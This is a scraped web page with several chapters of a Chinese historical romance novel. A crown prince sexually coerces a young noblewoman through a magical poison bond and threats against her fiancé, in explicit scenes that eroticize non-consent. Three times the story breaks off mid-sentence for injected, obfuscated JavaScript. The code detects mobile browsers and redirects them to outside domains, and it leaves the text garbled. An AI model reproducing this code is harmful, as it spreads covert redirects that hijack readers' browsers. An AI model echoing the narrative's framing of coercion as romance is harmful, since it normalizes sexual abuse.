榻上……如何求,沈念瘫坐在榻,眼中一片荒芜,并努力压制住泪水,不能在男人面前哭。 绝望么? 显然是绝望的。 可她哪里有选择? 自与裴争中蛊后,她就成为了男人的禁脔。 下一时,裴争伸出手解开腰封,外衣微敞,眸色晦暗不明,染上几分欲色。 沈念双眸无神,绝望地靠近男人,到他身侧后,柔荑一点一点攀附上他的月匃月堂,“求殿下放过淮之。” 小姑娘俯身贴来,裴争呼吸渐渐重了起来,片刻后又伸出手玩弄起她腰间系着的铃铛,发出一阵阵清脆的声响。 不过他却似有规律地晃着,总是三浅两深,就像是在应和。 沈念手抖得更厉害了,那铃铛声来自她的腰间,且晃得她心慌意乱。 “好听么?” 男人抬睫问道。 小姑娘早已红透了耳根,面对他的询问,她别开眼,没吭声,只点了点头。 裴争也没恼她不说话,似很满意她的回答,拖着长长的腔调,“那日后孤也如此。” 沈念没听到裴争话里的意思,只觉得眼下羞愤交加,脸颊烫得厉害,加之那件轻薄纱衣早已被揉搓得不成样子。 …… 两个时辰后,铃铛停止晃动, 内室光线昏暗且密不透风,燥热过后,汗珠都悬在鼻尖清亮欲滴,最后落在纱衣,洇晕成星星点点的痕迹。 只见裴争衣口敞得更大了,眼尾潋滟着薄红,而一旁的沈念额间渗出细密的汗珠,轻微地喘着气。 几息后,沈念换下身上荒唐的衣物,幸好裴争还为她备了能穿的衣物,否则她如何回府? 换好衣物后,裴争并未说什么,她便急忙回了沈府。 她走后,等在殿外的长戈进殿侍俸,他瞧着眼前的太子殿下眼梢是未褪尽的贪足,且嘴角也挂着一抹淡笑,与前几日完全不同。 果然,沈姑娘一侍奉,他们家太子殿下便心情大好,就是他看着也开心。 他心里琢磨着,若是沈姑娘能经常来,殿下的心情就能一直这么好下去。 ************ 这边沈念回到沈府时,恰遇宴会结束赶来看她的宋淮之。 郎君守在府门外,她行至府门,瞧见白衣郎君背对身站在那里,秋风吹落枝头的树叶,扑簌簌落在他身上,仿若静止,整个世间只有他一人。 “淮之!”沈念快步过去,扑到郎君的怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444122|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,“你怎来了?” 她把脸埋进宋淮之的肩窝,嗅着他身上特有的书墨香,心渐渐归于平静,刚同裴争周旋过,身心俱疲,如今看到宋淮之就像刚刚经历过狂风暴雨摧残的花朵,得到阳光的抚慰。 想抱紧他,再紧一点。 宋淮之不敢动,任着姑娘紧紧抱着她,温热的呼吸扑在他的颈间,他轻轻抬手抚上沈念的头,“卿卿发生什么事了么?” 这时她又想起方才宴会上的事,拉着他细看瞧着,“你可有哪里疼?” 也不知道那男人有没有信守承诺,有没有对郎君用刑。 他那样狠辣…… 宋淮之将手腕藏在身后,快速岔开话题,“我…我能有什么事?这不刚刚从太子殿下举办的宴会上回来。” 沈念发觉到他的异常,心口慌乱,冷下声音来,“淮之,拿出来!” 宋淮之只好乖乖将身后的手伸出来,一眼便瞧见他手腕处有着一道很大的伤疤。 她眼眶渐渐泛红,这定是方才被侍卫拖下去时,被刀剑不小心划伤的。 “还……疼么?” 宋淮之摇了摇头,呵呵笑着,“不疼了,我自己上了药。” 沈念看着他强装作无事发生的样子,眼眶里涌出几滴晶莹,她明白宋淮之对此事闭口不谈是怕她担心,她都明白。 “不疼了就好……” “你不疼就好。” 沈念眼里酝酿出两团泪水,她真的心疼宋淮之,今日之事分明是因为她才将他牵扯进来,若是他再受了什么伤,她更愧疚了。 见小姑娘眼眶里有泪水在打转,担心他担心到想哭,宋淮之被戳中心窝,牵起沈念的手,眼神之中满是怜惜,“卿卿,等我娶你,定不会让你再受委屈。” 郎君的手心暖暖的,抚去她的一身寒意,这么多年来,只有宋淮之能让她感受到什么是爱,他真的爱她。 傻傻的郎君对她从来都是克制,没什么过格的举动,而她呢,却因为情蛊同裴争苟合,早已非完璧之身。 那般隐忍,到最后她的身子给了别人。 万千思绪如密网笼罩在心头,风轻轻吹动她额间的碎发,痒痒的,心里乱乱的。 这时沈念终忍不住心中的悸动,踮起脚尖吻上了宋淮之的唇。 这是她初次亲吻一个男子。 姑娘柔软的唇覆了上来,宋淮之先是微微愣住,看着她紧闭双眼,主动吻自己,那触感渐渐加深,他开始慢慢有所回应。 而这时沈念忽感一阵胸闷,大脑一片空白,“淮之……” 最后,她竟晕了过去。 17.要改。 自船舫那夜回来,被宋淮之亲晕后,沈念再次病倒了,这次的病比上一次还要来势汹汹,城中的医师开了好几副药方子也不见有什么效果,依旧是高热不退,昏昏沉沉。 在沈父愁眉不展时,宫里竟指派太医前来为沈念诊治,见太医进府,他一时没多想,毕竟当朝天子一向体恤朝臣,许是听闻家里有女尚在病重,便派了太医前来瞧一瞧。 经过太医诊治,她病情终于有所好转,人虽比之前消瘦了一圈,但气色倒是恢复得不错。 江氏因上次遂宁侯小世子一事,彻底怨恨沈念,恨不得她早日嫁人离开沈府,眼不见心不烦。 这次她病得厉害,江氏竟趁机提出送她去乡下养病一事,沈国公又是一个耳根子软的,竟真的动了送她走的想法。 江氏看向她的眼神中藏着算计,沈念知晓她想来是打算把她送到无人问津的乡下,到时离了京城,江氏要做什么,她怕是根本无力反抗。 此事已定,而就在他们帮沈念打点好一切,要将她塞进马车里送走时,宫里传来一道圣旨,送她走的这一计划彻底打乱。 竟是宫里太后下旨,今年秋狩钦点了几个世家贵女前去,沈念亦在名册。 不仅江氏与沈父疑惑,就连她接下圣旨时心里就在思虑着,她同宫里那位太后可谓是毫无联系,为何她也会在花名册里? 真是怪事。 不过这也算间接将她留在京城,没被送去那穷乡僻壤之地被江氏所害没了命。 既然如此,她便要去看看,到底为何偏要她去,几番思虑下,她心里又浮现一个念头,不由自主地动了动指节。 莫非是……裴争? 想到这里,她心里堵得厉害,并劝说自己不要想那样可怕的事。 她祈祷着最好不要是裴争。 夜里许是日有所思夜有所梦,她晕晕乎乎躺在榻上时,陷入噩梦之中。 起初她梦到在江南被欺负的日子,村民无情地打骂,视她和她娘亲如灾晕,被赶出村子后娘亲气息奄奄躺在榻上,无论她如何哭,娘亲都没力气应她一句,接着又转入另一个更为可怕的噩梦。 裴争—— 她梦到男人居高临下站在那里,幽暗烛火之下,那双狭眸盯着她,仿若一只蛰伏许久的猛兽。 接着他的大手毫不留情扯下她的衣物,说着孟浪的话,将她的尊严一遍遍踩在脚下践踏,并逼迫她做出所有她一点也不愿意做的事,而她的身子却在莫名迎合…… 疼痛,厌恶, 越来越麻木。 最后她迷失方向,寻不到哪一个才是回去的路。 **************** 转眼十日已过,沈念同宋淮之便坐上车舆参加今年的秋猎。 许久不出府,沈念好奇掀开帷帘,看着郊外的景象,眼下已至深秋,树枝光秃秃的,偶有麻雀自枝头惊起,飞入天边,没了踪迹。 猎场设在城郊,每年这个时候都会有秋猎,只是沈念多以染病推脱,眼下是迫不得已只能亲自前来。 车舆行了两个时辰后,终于抵达猎场,沈念在宋淮之的搀扶下走出车舆,随后郎君牵着马,“卿卿,我去拴马,你在这里乖乖等着我,莫要走远。” 因是皇家猎场,闲杂人等不能入内,各自带来狩猎的战马都要自己牵去马厩安置,他们也不例外。 宋淮之走后,沈念听他的话站在原地乖乖等着,却不料等着等着,裴争竟迈着步子迎面走来。 见状,沈念的心提到嗓子眼,顿时汗毛倒竖,恨不得钻进地逢里,在心里默念无数遍:别看到我,别向我走来,别向我走来…… 然,一切未能如愿,脚步声停止,后她身前也多了一双锦靴,接着耳畔又响起熟悉的话音,“卿卿,几日不见,想孤了么?” 沈念瞳孔紧缩,吓得后撤半步,男人的话怎能如此孟浪,竟还叫她小字…… 他竟叫她卿卿。 一时之间,她脸颊染上几抹红晕,手指不安地绞在一起,支支吾吾道:“臣女……臣女……” 郊外的阳光落在姑娘身上,晕成淡淡的,圆圆的光圈,她的发丝都泛着金灿灿的光,耳根红透,声音微糯。 他抬眸仔细打量着沈念,她身子虽比之前看着瘦了两圈,腰肢仿若盈盈不堪一握,上次圆房时还没这般瘦弱,但可喜的是,气色却不错,看来还是宫里的太医管用,有个草包夫君也就罢了,还有一个无能的父亲。 怕是没有太医,沈念会被无能的医师拖死。 裴争盯了她片刻后,他伸出手捏向她的耳垂,唇角轻勾,声音端得是漫不经心: “害羞什么?嗯?” “不过才几日未同你亲密,就同孤生分了?” 看着她眼下羞得像一颗熟透的水蜜桃,粉粉嫩嫩的,不过才这么两句话而已,就让她如此害羞。 不禁吓, 也不禁逗。 她这般样子,日后如何能经受住他呢? 耳根发烫,沈念想躲避却被对方再次恐吓住,“你若是再躲,孤就把你的未婚夫关进大牢。” 听这话,沈念心里一个咯噔,再也不敢动了,只能任着身前男人揉弄她的耳垂,轻捏揉搓。 她又怕宋淮之回来,又怕裴争更加得寸进尺。 几番操弄下,她的耳垂早已红欲滴血,甚至蔓延至脸颊,泛起绯红。最后她快要忍不住了,耳垂像被火烧一样,急忙出口阻止:“殿下,莫要——” 然,未等她说完话,身后却响起淮之的声音,“卿卿!” 听到此声,沈念快速后撤半步,与面前的裴争拉开距离,这时那只得寸进尺的手陡然落空,从她耳边滑走,悻悻缩回去。 宋淮之凑到沈念身侧,并紧紧攥住小姑娘的手,将她向身后拉去,行礼道:“臣见过太子殿下!” 此时小姑娘被郎君拉到身后,隐没半边身子,似在告知所有人,她是他的。 就像是在藏住珍宝,不让任何人窥视。 被郎君藏在身后,沈念贴着他的后背,额头沁出细密的冷汗,方才她同裴争那样亲密……是被宋淮之看到了么? 他会怀疑他们二人之间的关系么? 她心里忐忑不安到极致,也开始想如果郎君真的看到他们那般,她该如何解释。 裴争垂下眼睫,眼神落在他们十指相扣的手,暗地里攥紧拳头,冷淡抬手:“起来吧……” 这时,宋淮之瞥见她泛红的耳垂,眼神暗了暗,“殿下,臣的未婚妻应是累了,她身子弱,那臣就先带着她回帐了。” 裴争轻轻应了一声,看着他们离去的背影,小姑娘被紧紧牵着,时不时贴在男人的肩膀。 见状,他眸底晦暗不明,却冷得渗人。 **************** 到猎场时已是傍晚,经过方才的折腾,眼下天色已晚,宋淮之带她回了帐内后,话明显得少了许多,往日可是她一句,他十句。 而眼下只见他忙忙碌碌帮收拾被褥,一言不发,不过片刻,他又出言,“卿卿,你快休息吧,我回去了。” 他站在门帘处,低着头,整个人像是笼罩在黑影里,格外消沉。 沈念知道郎君很不对劲,或许是看到方才她同裴争之间的亲密举动了。若是让他就此离去,日后定然会成为他们之间的鸿沟,从而影响他们之间的感情。 她绝对不会允许这种事情发生, 她必须要问问,也要好好解释。 无论他看到还是没看到,都要解释。 是以,她起身牵住宋淮之的手,拉他回到榻上坐下来,轻声问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444123|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“淮之,你……你这是怎么了?” 真要询问时,她长长的睫羽不停地扑朔着,面上平静,内心却早已乱作一团。 听到如此说,宋淮之先是撇撇嘴,而后盯着眼前的沈念,再次回想起适才她同太子殿下亲密的场景,小姑娘红透了耳根,也不知太子殿下同她说了什么,做了什么,能惹得她那样害羞。 见宋淮之没有反应也不说话,她凑过去,贴近几分,继续问:“淮之?怎么不说话?” 小姑娘此时贴的极近,那诱人的唇瓣就在他眼前晃动着,散发着异样的香甜,他再次想到她同太子站在一起的场景,难道太子殿下吻她了么?所以她才如此害羞。 想到这里,宋淮之极力压在心中那股的冲动再也压不住了,一瞬间全部涌了上来。 他首先是个男人,其次才是沈念的未婚夫。最后,他伸出手攥住了她的手腕。 手腕被郎君紧紧攥着,起初沈念先是一愣,又见他盯着自己呼吸渐渐沉重,眼底是翻涌的谷欠色。 一瞬间沈念似乎懂了什么,没有拒绝,只任他攥着,接受他的一切。 “淮之……” 她轻轻唤了一声。 下一时,宋淮之再也忍不住俯身吻上了姑娘的唇。 忽地被郎君吻上,沈念反应过来后,便主动搂上他的脖颈,接着两人贴得更近了。 她的主动似更加点燃了宋淮之心底的□□,星星点点的吻落在颈间……接着她的衣带被解开,一阵凉意袭来,引来一阵战栗,或许是她下意识的瑟缩让郎君察觉,他放缓,轻柔了许多。 亲吻与触碰带着前所未有的占有意味,就在他碰到她腰肢时,不小心触碰到旧伤,疼痛感袭来,她没忍住竟轻轻嘤咛出声。 而正是这声彻底唤回郎君的意识,他忽地支起身子,不断向后退去。 “卿卿……是我糊涂了,我不该碰你。” “是我不该碰你。” 见郎君惊坐起,沈念也拢上纱衣从榻上起身,拧起眉头,“淮之,你今夜为何反常?” 从看到她和太子殿下在一起后,他就不对劲,莫非真是看到裴争揉她耳垂了?她整个心暗暗揪在一起,等待对方的答案。 宋淮之低下头,就像一个犯错的孩子,重重喘息着,“我……都是我……是我瞧见你同太子殿下在一起举止亲密……我……我难受卿卿。” “是我的错,我不该疑心你和太子,你那样好,怎会和太子之间有什么关系。” “我更不该碰你……” “卿卿,我就是一个畜牲,我就是一个畜牲。” 瞧见缩在那里的郎君眼眶红得厉害,一遍遍对她说,他错了,他不该碰她。 沈念心中一阵酸楚,他们有婚约啊……他的亲近本是天经地义,为何要如此自责? 他越是这样,她心里就越是难受。 沈念忍住心中的酸涩,凑上前拉住郎君的手,他却本能缩了缩,很怕她的触碰会让他控制不住。 “你莫要碰我,卿卿,我会不受控制。” “莫要碰我……” 她没躲开,反而是更加靠近,拍了拍他的后背,安慰:“淮之,我同太子殿下之间不是你看到的那样,我们之间什么都没有。” “还有,我们早就有婚约啊,你又何必自责?你我之间亲密,天经地义啊,淮之。” 宋淮之不住地摇着头,“不,卿卿,那不一样卿卿,我们并未行大婚之仪,我怎能碰你?” 沈念垂下眼,想到自己早就没了清白,而宋淮之却只因为碰了她而懊悔至极,可他只是吻她而已。 她愿意同宋淮之亲密, 她愿意…… 几息后,她压下喉间的哽咽,握紧宋淮之的手,声音轻如耳语:“淮之,我愿意的……” 18.第 18 章 几息后,她压下喉间的哽咽,握紧宋淮之的手,声音轻如耳语:“淮之,我愿意的……” 她的清白已给了裴争,还同他几次亲密,她早就对不起郎君许多许多,眼下若是能用此事安慰郎君的心,那她愿意同他亲密,反正他们二人迟早是要成亲的,早一日,晚一日都是要圆房的。 万千思绪渐渐归于平静后,她伸出纤纤玉手在宋淮之面前,主动脱去身上那件早已被弄得起了褶皱的外衣。 “哗啦”一声,幽幽烛火之下,姑娘的里衣紧紧贴着身子,身姿妖娆,发梢往下,是一段纤细扶风柳腰,有种说不清的柔情,让人移不开眼。 因方才郎君的吻,从而落下星星点点的痕迹,看起来更加勾人摄魂。 神女在身前主动脱衣,宋淮之眸中浮现出几分迷离,喉结轻滑了一下,呼吸也更加急促起来,继而见她又要继续脱下里衣,他慌乱起身,捡起地上的外衣罩在姑娘身上,挡住大片风光,声音颤抖, “……别卿卿,别……别脱了。” “卿卿,你莫要如此。” 听此,沈念停止手上的动作,眼眶泛红,哽咽着声音, “淮之,我是真的愿意……” “反正你我迟早要成亲的,淮之。” 她早已认定他为夫君,今日如此又有什么关系? 宋淮之抬眸望着她,急促呼吸了好一会儿才渐渐稳定,而后他伸出手揉了揉她的头, “傻卿卿,我怎舍得碰你?” “你也说我们迟早要成亲,若是今日因那股冲动潦草同你圆房,我心疼。” “此事,我想给你留下美好的回忆,是独属于我们之间的,卿卿。” 郎君的话如同春风拂过,带来一股暖意涌上心尖,甜甜的,暖暖的。 沈念眼眶发热,细白的指尖捏住衣角,她懂宋淮之话里是什么意思,他想要在洞房花烛夜,掀起她的红盖头,伴着红烛暖帐,完成独属于他们的良宵。 想到这里,她眼里水光粼粼,他不知道的是她的清白早就给了裴争啊,哪里还有独属于他们之间的美好回忆。 这时,她忽地联想到她同宋淮之成亲圆房后,并未见到落红,郎君眼神中充满落寞与失望。 下一时,周围静悄悄的,只听得见郎君沉重的呼吸,沈念也未再脱去衣物,皎洁的月光顺着帷帘悄悄挤入,蔓延至他们脚边,染上了一层淡淡的银辉。 郎君缩在那里急促喘息着,并攥紧拳头,似在极力克制,沈念知晓方才那样定会让得他很不舒服。 是以,她再次凑近,手指攥住他的袖口,轻轻开口:“淮之……你若是难受,让我帮你好不好?” 他如此难受,她看着也心疼。 手指轻轻触碰到郎君的臂弯,沈念见他眸光一怔,似是未懂她的言外之意,接着行她的柔荑又攀附而来时,他身子猛地一僵,旋即像是骤然醒悟一样,慌乱站起身,躲避她的靠近, “卿卿,不、不要。” “你……你莫要靠近。” 看着宋淮之眸底的不知所措,沈念缩回手,声音软软的,“好……淮之,我不过去,你莫要慌。” 她刚刚只是看他难受心疼,才出此下策,没想到宋淮之异常反感。 宋淮之看着她,眉头紧紧皱起,声音沙哑,“卿卿,我们怎能那般荒唐?” 沈念忽觉有些无地自容,表情僵硬,因为在郎君眼中这般荒唐的事,她不止一次同裴争做过,那她岂不是更荒唐? 一时之间,他们二人陷入沉寂,谁也没敢先开口说话。 片刻后,宋淮之看向她眼神之中充满疑惑,暗暗打量了许久,最后实在忍不住开口:“卿卿…你…是如何知晓的?” 宋淮之的质问她明白是何意思,方才她一心只想着心疼他没多想,现在细细想来她一个未出阁的姑娘……怎能对这些事了如指掌? 这时她又想到裴争,若不是她,她也没想到过有这些,玉清观,船舫里,那一幕幕荒唐的回忆涌上心头,沈念先是微微愣住,在暗地里思索着该如何应对,最终一咬牙, “淮之,这些,我……我是在图册上看到的……” 说罢,空气默了几息。 话都说到这个份上,明眼人都懂姑娘口中的那图册是什么,宋淮之也曾听过同窗谈及那图册,但却从来没去看过,他没想到沈念居然会…… 沈念站在那里,脸颊没忍住红成一片,说出的话也气息不稳。她此前就知道有图册讲解男女之事,不过从来没有买来看过,因为那实在是太羞耻了。 她哪里能做出那样的事? 怎料此时又要拿那让人羞耻的图册作借口向郎君解释……她简直羞愤欲死,不敢再抬头看宋淮之。 良久,她鼓起勇气抬眼,见他眸光中的疑惑消失不见,转而变成淡淡的震惊。 一个羞愤欲死,一个震惊凝眉。 两人就这样僵持在这里,无人开口打破僵局,时间悄悄流逝,变得焦灼。 良久,沈念咬着唇,率先开口:“淮之,我们出去赏月吧,听说郊外的夜色很美,是在京城看不到的。” “我还没见过,正好趁着这次机会,好不好?” 她想出去放松一下,顺便也能缓解郎君的燥热,一举两得。 僵局得到缓解,宋淮之呵呵笑了一声,应道:“好,” 随后他们二人便牵着手走出了帐,寻了许久才寻到一个清静之处,坐在地上赏月。 郊外的夜色果然同京城不同,夜幕低垂,月色如练,莹流飞舞,星子在不住地闪,月光洒落在他们二人身上,似笼轻纱,朦朦胧胧的,像是撒了一层碎银。 方才折腾许久身子乏,沈念缓缓靠在郎君的肩膀,望向半空,“淮之,这里果然同京城不一样。” 宋淮之展起笑颜,揽住姑娘的肩膀,拥她入怀,嗓音里的笑意懒悠悠的,“卿卿你若是喜欢,日后等你我成婚,我常带你来好不好?” 因出来吹着夜风,他的燥热也褪去不少,美人在怀,夜色动人,他忽觉无比轻松。 “好,” 说到这里,沈念不禁憧憬着日后同宋淮之成婚,他们二人定会过着无忧无虑的生活,夫妻和睦,相敬如宾,生儿育女,相夫教子,平淡而安稳渡过一生。 夫君无权无势又如何?她只要一个爱她的,平平淡淡的。 宋淮之继续道: “卿卿两日后就是月圆之夜,估计到那个时候,月亮会更圆,更美。” “两日后我再带你来。” “好,那我们两日后——” 说到这里沈念忽地话语一顿,脸色陡然一变,艰难开口问:“淮之,你方才说……两日之后是何时?” 宋淮之笑道:“月圆之夜,两日之后是月圆之夜。” 确认后,沈念鬂边开始生出冷汗,月圆之夜四个字,就像一只无形的大手扼住她的喉咙,让她喘不过气。 恐惧,厌恶…… 一瞬间涌了上来。 她都快要忘了,她同裴争之间还有情蛊,他们还需要月圆之时圆房解蛊。 圆房…… 他们又要亲近。 这时,她忽想到这次的秋猎是太后钦点她前来,当时她便疑惑的事,眼下都清楚了,这一切定是裴争计划的,把她弄到这里,遇月圆之夜,如此以来,也方便了。 原来他是这个打算。 “怎么了卿卿?”宋淮之看她神情不对,似乎慌乱得很,开口出言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16451080|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安慰:“累了么?” 知道了裴争的阴谋,沈念再也无了赏月的心思,她只要一抬眼,全是裴争的面容还有同他亲密的场景。 缓了几息,沈念努力装作镇静的模样,唇瓣颤动着,“是……淮之,我们回帐吧。” 这月更是无心赏下去。 听到姑娘说累了,宋淮之眉头紧锁,连忙牵住她的手,温声道:“那我们赶紧回去。” 沈念起身同宋淮之离开,而就在他们二人刚走了几步时,就瞧见前面站着一个人。 清冷月光之下,那人身着熟悉的玄色锦袍,沈念脚下倏软,待他转过身看清他面容时,更慌了,身子也不自觉抖得厉害。 是裴争…… 那人是裴争。 宋淮之牵着她的手主动上前,而她也是压住心中的慌乱,行礼问安。 只一瞬,在男人的打量下,她低着头藏在郎君身后,就跟受了惊的猫儿一样,不敢露头。 裴争的目光落在沈念身上,嗓音微哑:“你们也来赏月么?” 那男人声音平缓,却透着无形的压迫,快逼得她喘不过气。 沈念没敢应,宋淮之率先开口,“是殿下,臣的未婚妻听闻郊外夜色动人便带她来瞧瞧。” “夜色很美么?”裴争抬眼看向半空中的圆月,低低一笑,“两日后就是月圆之夜,对么?” 说到这里,他视线落在沈念身上,宋淮之以为裴争是在问他,赶忙应道:“太子殿下说的对,两日之后确是月圆之夜,乃是最佳赏月的时候。” “嘶……赏月啊,”裴争眯紧了眸子,嗤了一声,“可惜那夜,孤有更重要的东西要赏呢。” 男人的话落在沈念耳中如同惊雷贯耳,宋淮之听不懂他话里的含义,可她确是真真切切听懂了。在提醒她快到月圆之夜了,提醒她要做什么,她是他口中那个重要的东西么? 她抬睫对上男人的视线,他眸色黑沉,像是漫长无垠的夜,且涌动着辨不分明的意味。 心下止不住地慌乱,沈念悄悄扯了一下宋淮之的衣角,示意他回去,不想站在这里,不想同裴争再说什么。 她太害怕了,害怕裴争对她做什么,对宋淮之做什么,前几次他以郎君的命威胁,可见他有多卑鄙,有多狠辣无情。 宋淮之旋即懂了她的意思, “那臣就先退下了。” “臣女告退。” 裴争淡淡点头,他们走后,此地只剩下他一个人,他再次抬睫看向半空中的圆月,不禁回想起想到方才小姑娘同郎君那般亲密的场景。 一个娇羞一个宠溺, 看着她笑,他心里有一种说不出的燥热,急需要人疏解。 几息后,他脸色沉下来,眼底是一片不加掩饰的沉欲,冷声开口问:“沈念她住在哪个帐内?” ************ 这边沈念被宋淮之送回帐内后,因方才见过裴争,又想起月圆之夜这件事,她瞬间感到惊慌失措,仿若被一只手紧紧握住心脏。 凝思许久,她的心才渐渐稳定,白日里折腾多了,身子也乏,她备了执水准备擦拭黏腻的身子,好好睡上一觉。 而就在她解开衣带露出肌肤时,这才看到胸前和腰肢上几处骇人的红痕,犹如点点红梅绽放,看到这里,她快步走到妆镜前照了照,却发现不止那几处,就连锁骨旁也有着。 没想到一向老实的郎君,也会因为吃醋而开窍,对她做出这样的事,不过她肌肤一向娇嫰,这些痕迹怕是要大半月才能完全消退。 擦拭后,她换上寝衣。 然,就在她刚系上衣带时,身后传来一阵急促的脚步声,没等转过身,便被人禁锢在怀中,那手臂紧紧钳制住她的腰身。 19.第 19 章 然,就在她刚系上衣带时,身后传来一阵急促的脚步声,没等转过身,便被人禁锢在怀中,那手臂紧紧钳制住她的腰身。 沈念先是吓得惊呼出声,待被那人扳过身子后,对上那人的视线,更是傻了眼,头顶如有惊雷闪过。 她没想到来人竟是裴争! 那男人睨着她,神色莫辨,眸子却似能穿透她的心。 愣了许久,她才开口:“殿下!你怎来了?” 此时他们二人贴得极近,肌肤相亲,可听闻彼此的心跳,尤是摇曳烛火下,他映照出的黑影几乎将她完全笼罩,逼得她快要喘不过气。 “我不能来么?” 平静一声后,那男人缓缓地敛起眉头,低声开口: “只准你的未婚夫来,不准孤来么?” “沈念,你莫不是忘了自己是谁的玩物?” 不提宋淮之还好,一提起他,沈念心下一沉,无法控制地发抖,再也不敢说出能惹恼他的话,软下声音, “殿下自然能来…臣女这里永远恭候殿下前来。” 经过这几次相处,她心里清楚裴争对她不过是占有欲,亦发现只要小心翼翼顺着他的意,不触怒他就好。 听到这话,裴争先是轻笑了一声,小姑娘眼下肉眼可见的在怕,胸前的柔软蹭着他的胸膛,就连她小巧的耳垂都因害怕而引起一下又一下地战栗。 幽幽帐内,蜜桃隆起,他本就压不住的燥热更加难耐了,就快要冲出牢笼。 良久,他问:“沈念,你在骗孤?” “臣女岂敢欺骗殿下?” 沈念以为她这话也能讨得男人的欢心,不至于让他生气,做出什么不可理喻的事。 岂料几息后,那男人先是散漫扬眉,而后他冰凉的指尖捏住了她的圆润,不停地轻捏,揉搓。 突如其来的亲密举动,让沈念当即浑身一僵,唇边泄出几声轻咛,“殿下,不要,臣女真的没有欺骗殿下。” 她试图向后躲去,却不料男人的手臂就像藤蔓一样牢牢缠绕在她的腰身,无论她如何挣扎,也无法逃脱。 那魔爪得寸进尺地覆上,不问任何缘由,沈念也不知自己到底做错了什么。 “殿下,放过臣女吧。” “放过你?”裴争轻挑下眉,手上动作不仅未减,反而是更加重力道,嗓音漫不经心,“你可还记得两日后的月圆之夜?” 在揉弄之下,两团很快变了形,却更为小姑娘添上几分说不清的妩媚。 月圆之夜—— 她哪里会不记得? “记得,臣女当然记得。” 沈念咬唇忍着,眸中早已盈满迷离的水光,发出的声音半是哀求,半是渴望,彻底走了调。 她的回答是什么,裴争根本不在意,无论如何两日后他们二人都要圆房。 旋即他的唇角动了一下,不咸不淡开口:“记得啊,孤以为你成日里只知道同未婚夫君快活,忘记了呢。” 指尖攥紧衣角,沈念想抬睫看向男人的脸回话,但只一瞬,她便又迅速低下头,“没…这等大事,臣女怎能忘记?” 一个睥睨,一个低头躲避,她对裴争的恐惧与厌恶早在第一次圆房后便刻进骨子里。 听到她的回答,那男人似是满意轻轻哦了一声,随后便停止动作,沈念暗地里吐出口气,以为终于可以逃过一劫时,他的手臂又忽地拖住她的桃尻,用力将她按坐在了妆镜前。 此时的她整个脊背都靠在铜镜前,手掌无处支撑,只好抵在案上。 这个姿势太过于荒唐, 然,还未等她有所反应,男人便俯身靠过来, “沈念,你不听话,孤就要罚你。” “说说这几日都同那个草包做什么了?嗯?” 他贴近小姑娘后,贪婪地嗅着她颈间的梅香,却不料往下时,他清楚地闻到了另一种气息。 是不属于她的气息, 那是宋淮之身上的书墨香。 他当即脸色一沉,狠下声音, “说话!都同他做什么了?” 看到男人眼中一闪而过的杀意,沈念心一紧,手也跟着攥紧了,“殿下臣女同他没——” 她心知肚明对方想听到什么,自然会顺着他的意,给出他想听到的答案。 听到小姑娘口中说出不字,裴争抿起唇,冰冷的目光似要刺穿她, “莫要同孤说你们什么都没做!你以为孤会信么?” “沈念,他抱你,方才孤亲眼所见,然后呢,有没有吻你?有没有碰你?嗯?” 今夜他们一同去赏月抱在一起,皎洁月色下,姑娘与郎君浓情蜜情,可他一直以为小姑娘就像一只乖顺的兔子,不会主动对任何人展露柔情。 但,他错了,沈念对宋淮之不同。 看向他的眼神之中,充满深情, 这让他心里很不舒服。 何况郎情妾意,美人在怀,那草包真的能忍住不对她做什么? “没……都没有,” 沈念不住地摇着头,在男人逼问下,她哪里敢将实话说出?若是让他知晓他们那夜可是差点发生什么事,宋淮之怕是要没了命。 “殿下,臣女不敢逾矩。” “殿下,且快到月圆之夜了,今夜能否放过臣女?” 她看得到对方眼底的谷欠色,自然也明白他想做什么。 只是那夜的记忆尽数袭来,她真的很害怕,也真的很疼,虽然后来也同裴争荒唐过几次,可那几次并没有真正意义上碰她。 裴争听罢,眯着眼看向她,语气戏谑,“嘶,可是孤今夜就想要啊。” 而后他便要伸手解开她的衣带。 沈念猛地抬眸,抓住了他的臂弯,哀求:“臣女求你,殿下……” 裴争孟浪的言语让她耳根发烫,且红欲滴血,身子也止不住地发软。 两人对视,裴争唇角轻勾,深邃的眼眸审视着她,“沈念,这都是你不听话的惩罚。” “不……不要。” 眼下小姑娘仰起脸,杏眸微湿,额间沁出的晶莹汗珠,可怜巴巴地望过来。 看着她这般模样,裴争心下一动,他盯了她良久。 